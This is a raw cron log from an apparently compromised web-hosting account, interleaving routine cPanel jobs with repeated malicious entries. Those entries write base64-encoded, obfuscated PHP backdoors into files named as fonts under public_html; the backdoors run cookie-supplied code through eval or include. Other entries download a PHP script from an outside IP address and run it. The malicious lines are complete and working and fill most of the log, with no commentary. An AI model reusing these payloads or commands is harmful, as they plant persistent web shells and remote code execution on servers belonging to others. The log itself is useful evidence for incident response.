Sep  4 08:08:02 ip-184-168-122-23 CROND[19686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:08:02 ip-184-168-122-23 CROND[19688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:09:01 ip-184-168-122-23 CROND[19796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:09:01 ip-184-168-122-23 CROND[19798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:09:01 ip-184-168-122-23 CROND[19799]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 08:09:01 ip-184-168-122-23 CROND[19797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:09:01 ip-184-168-122-23 CROND[19800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:10:01 ip-184-168-122-23 CROND[19890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:10:01 ip-184-168-122-23 CROND[19896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:11:01 ip-184-168-122-23 CROND[19996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:11:01 ip-184-168-122-23 CROND[19994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:11:01 ip-184-168-122-23 CROND[19995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:11:01 ip-184-168-122-23 CROND[19997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:12:01 ip-184-168-122-23 CROND[20172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:12:01 ip-184-168-122-23 CROND[20173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:12:01 ip-184-168-122-23 CROND[20174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:12:01 ip-184-168-122-23 CROND[20176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:12:01 ip-184-168-122-23 CROND[20177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:13:01 ip-184-168-122-23 CROND[20288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:13:01 ip-184-168-122-23 CROND[20292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:13:01 ip-184-168-122-23 CROND[20293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:13:01 ip-184-168-122-23 CROND[20294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:14:01 ip-184-168-122-23 CROND[20440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:14:01 ip-184-168-122-23 CROND[20444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:14:01 ip-184-168-122-23 CROND[20442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:14:01 ip-184-168-122-23 CROND[20445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:14:01 ip-184-168-122-23 CROND[20443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:15:01 ip-184-168-122-23 CROND[20552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:15:01 ip-184-168-122-23 CROND[20554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:15:01 ip-184-168-122-23 CROND[20556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:15:01 ip-184-168-122-23 CROND[20553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:15:01 ip-184-168-122-23 CROND[20551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:15:01 ip-184-168-122-23 CROND[20555]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 08:15:01 ip-184-168-122-23 CROND[20550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:16:01 ip-184-168-122-23 CROND[20650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:16:01 ip-184-168-122-23 CROND[20649]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:16:01 ip-184-168-122-23 CROND[20651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:16:01 ip-184-168-122-23 CROND[20652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:16:01 ip-184-168-122-23 CROND[20654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:16:01 ip-184-168-122-23 CROND[20648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:17:01 ip-184-168-122-23 CROND[20741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:17:01 ip-184-168-122-23 CROND[20744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:17:01 ip-184-168-122-23 CROND[20743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:17:01 ip-184-168-122-23 CROND[20745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:18:02 ip-184-168-122-23 CROND[20821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:18:02 ip-184-168-122-23 CROND[20823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:18:02 ip-184-168-122-23 CROND[20822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:18:02 ip-184-168-122-23 CROND[20824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:18:02 ip-184-168-122-23 CROND[20826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:19:01 ip-184-168-122-23 CROND[20929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:19:01 ip-184-168-122-23 CROND[20932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:19:01 ip-184-168-122-23 CROND[20931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:19:01 ip-184-168-122-23 CROND[20933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:20:02 ip-184-168-122-23 CROND[21118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
